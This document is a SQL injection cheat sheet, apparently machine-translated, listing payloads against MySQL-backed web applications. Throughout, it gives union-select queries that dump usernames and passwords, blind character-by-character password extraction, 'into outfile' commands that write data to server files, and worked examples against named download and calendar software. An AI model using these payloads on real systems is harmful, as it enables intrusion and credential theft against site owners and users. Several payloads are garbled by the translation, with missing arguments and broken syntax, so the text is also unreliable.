'% 23
'And Password = 'mypass
Id =-1 Union select 1, 1
Id =-1 Union select char (97), char (97), char (97)
Id = 1 Union select 1, 1 from Members
Id = 1 Union select 1, 1 from Admin
Id = 1 Union select 1, 1 from user
Userid = 1 and Password = mypass
Userid = 1 and mid (password, 112) = char)
Userid = 1 and mid (password, 4, 1) = char (97)
And ord (mid (password, 111)> (the Ord function is very useful and can return an integer)
'And length (password) = '6 (length of the probe password)
'And left (password, 1) =' m
'And left (password, 2) = 'my
.............................. And so on
'Union select 1, username, password from user /*
'Union select 1, username, password from user /*
= 'Union select 1, username, password from user/* (can be 1 or = followed directly)
99999 'Union select 1, username, password from user /*
'Into outfile' C:/file.txt (export file)
= 'Or 1 = 1 into outfile' C:/file.txt
1 'Union select 1, username, password from user into OUTFILE 'C:/user.txt
Select password from admins where login = 'john' into dumpfile'/path/to/site/file.txt'
Id = 'Union select 1, username, password from user into OUTFILE
Id =-1 Union select 1, database (), version () (flexible application query)
Commonly used query test statement,
Select * from table where 1 = 1
Select * from table where 'uuu '= 'uuu'
Select * from table where 1 <> 2
Select * from table where 3> 2
Select * from table where 2 <3
Select * from table where 1
Select * from table where 1 + 1
Select * from table where 1--1
Select * from table where isnull (null)
Select * from table where isnull (COT (0 ))
Select * from table where 1 is not null
Select * from table where NULL is null
Select * from table where 2 between 1 and 3
Select * from table where 'B' between 'A' and 'C'
Select * from table where 2 in (0, 1, 2)
Select * from table where case when 1> 0 then 1 end
For example, the night cat Download System Version 1.0
Id = 1 Union select, 1
Union select, 1 from ymdown_user
Union select 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 from ymdown_user where id = 1
Id = 10000 Union select, 1 from ymdown_user where id = 1 and groupid = 1
Union select 1, username, 1, password, 1 from ymdown_user where id = 1 (replace, look for a password)
Union select, 1 from ymdown_user where id = 1 and ord (mid (password )) = 49 (verify the First password)
Union select, 1 from ymdown_user where id = 1 and ord (mid (password )) = 50 (second digit)
Union select, 1 from ymdown_user where id = 1 and ord (mid (password,) = 51
..................................................................
Example 2: gray track transformation ID test (meteor)
Union % 20 (select % 20 allowsmilies, public, userid, '2017-0-0 ', user (), version () % 20 from % 20calendar_events % 20 where % 20 eventid % 20 = % 2013) % 20 order % 20by % 20 eventdate
Union % 20 (select % 20 allowsmilies, public, userid, '2017-0-0 ', pass (), version () % 20 from % 20calendar_events % 20 where % 20 eventid % 20 = % 2010) % 20 order % 20by % 20 eventdate